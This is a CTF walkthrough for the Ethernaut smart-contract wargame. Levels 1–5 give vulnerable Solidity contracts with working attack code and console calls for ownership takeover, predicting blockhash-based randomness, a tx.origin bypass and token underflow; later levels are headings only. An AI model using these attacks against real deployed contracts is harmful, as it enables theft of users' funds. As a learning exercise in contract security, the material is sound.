Link to this headingEthernaut

Solidity Keywords:

  • fallback function: is executed when the function that is called does not exist.
  • receive function: if executed when the function that is called does not exist and ETH is sent.
  • payable function: can accept eth as input

TODO: Use https://getfoundry.sh/cast/overview#cast for interactions with the BlockChain

Link to this headingLevel 0

Setup Profile

Link to this headingLevel 1

Vulnerable Contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback { using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner; constructor() public { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } //If you have contributed before and send a message that contains eth than you can change the owner. receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }

Attack

//Deposit Money in to the Contract await contract.contribute({"value": 1}) //Validate that the money was transferred correctly await contract.getContribution() //Call the receive function with msg.value greater than 0 await contract.sendTransaction({"value": 1}) //Check the owner await contract.owner() == player //Now that you are the owner you can withdraw the money await contract.withdraw()

Link to this headingLevel 2

A constructor function is a function that uses the keyword constructor or falls back to the Function with the same name as the contract name. Use the constructor keyword its harder to mess up.

Vulnerable Contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }

Solution:

//There is a miss typed function lets call it await contract.Fal1out() //Check that we are the owner await contract.owner() == player // Collect monry await contract.collectAllocations()

Link to this headingLevel 3 Coin Flip

Victim Contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }

Attack Contract:

pragma solidity ^0.8.7; interface CoinFlip { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; CoinFlip coinFlipContract; event Win(); event Loose(); constructor(address _coinFlipContract) { coinFlipContract = CoinFlip(_coinFlipContract); } function attack() public{ uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (coinFlipContract.flip(side)) { emit Win(); } else { emit Loose(); } } }

Then just call attack 10 times

Link to this headingLevel 4 Telephone

Victim Contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }

Since tx.origin is the first root caller in the callstack and msg.sender is previous caller you can make a Chain.
User calls -> TelephoneAttack which calls -> Telephone.changeOwner(msg.sender)

Attacker Contract:

pragma solidity ^0.8.7; interface Telephone { function changeOwner(address _owner) external; } contract Attacker { Telephone telephoneContract; constructor(address _telephoneContract) { telephoneContract = Telephone(_telephoneContract); } function attack() public { telephoneContract.changeOwner(msg.sender); } }

Link to this headingLevel 5 Token

Vulnerable Contract:

// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }

Attack Contract:

//Get Tokens Balance of 20 await contract.balanceOf(player).then(v => v.toString()) //'20' //Send 42 coins with the wrap around uint await contract.transfer({"address": contract.address, "value": 42}) //Overflow the ammount await contract.balanceOf(player).then(v => v.toString()) //'115792089237316195423570985008687907853269984665640564039457584007913129639914'

Link to this headingLevel 6 Delegation

Link to this headingLevel 7 Forve

Link to this headingLevel 8 Vault

Link to this headingLevel 9 King

Link to this headingLevel 10 Re-entrancy

Link to this headingLevel 11 Elevator

Link to this headingLevel 12 Privacy

Link to this headingLevel 13 Gate Keeper One

Link to this headingLevel 14 Gate Keeper Two

Link to this headingLevel 15 Naught Coin

Link to this headingLevel 16 Preservation

Link to this headingLevel 17 Recovery

Link to this headingLevel 18 MagicNumber

Link to this headingLevel 19 Alien Codex

Link to this headingLevel 20 Denial

Link to this headingLevel 21 Shop

Link to this headingLevel 22 Dex

Link to this headingLevel 23 Dex two

Link to this headingLevel 24 Puzzle Wallet

Link to this headingLevel 25 Motorbike

Link to this headingLevel 26 DoubleEntryPoing

Link to this headingLevel 27 Good Samaritan

Link to this headingLevel 28 Gatekeeper Three

Link to this headingLevel 29 Switch

Link to this headingLevel 30 HigherOrder

Link to this headingLevel 31 Stake

Link to this headingLevel 32 Impersonator